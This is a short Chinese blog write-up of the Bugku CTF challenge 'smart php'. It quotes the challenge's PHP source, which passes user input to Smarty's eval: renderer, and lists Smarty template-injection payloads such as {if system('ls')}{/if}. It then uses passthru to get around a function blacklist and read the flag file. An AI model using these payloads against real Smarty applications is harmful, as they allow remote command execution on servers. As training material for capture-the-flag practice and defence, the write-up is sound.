bugku 聪明的php

69 篇文章 0 订阅
25 篇文章 2 订阅

打开网址得到一句话
在这里插入图片描述
传入参数a=得到一串代码,应该是确实为smarty模板注入

常用payload
{if phpinfo()}{/if}
{if system(‘ls’)}{/if}
{if readfile(’/flag’)}{/if}
{if show_source(’/flag’)}{/if}
{if system(‘cat …/…/…/flag’)}{/if}
smarty中的{if}标签中可以执行php语句

<?php
include('./libs/Smarty.class.php');
echo "pass a parameter and maybe the flag file's filename is random :>";
$smarty = new Smarty();
if($_GET){
    highlight_file('index.php');
    foreach ($_GET AS $key => $value)
    {
        print $key."\n";
        if(preg_match("/flag|\/flag/i", $value)){
            
            $smarty->display('./template.html');


        }elseif(preg_match("/system|readfile|gz|exec|eval|cat|assert|file|fgets/i", $value)){


            $smarty->display('./template.html');            
            
        }else{
            $smarty->display("eval:".$value);
        }
        
    }
}
?> 

//system|readfile|gz|exec|eval|cat|assert|file|fgets/,这些函数都被过滤了,但是发现passthru()函数没过滤
构造payload:{if passthru('ls')}{/if}  //查看当前目录,啥也没有,
构造payload:{if passthru('ls ../.././')}{/if}  //进行三级目录穿越到根目录发现有一个_9909的文件
构造payload:{if passthru('tac /_9909')}{/if} //得到flag

在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值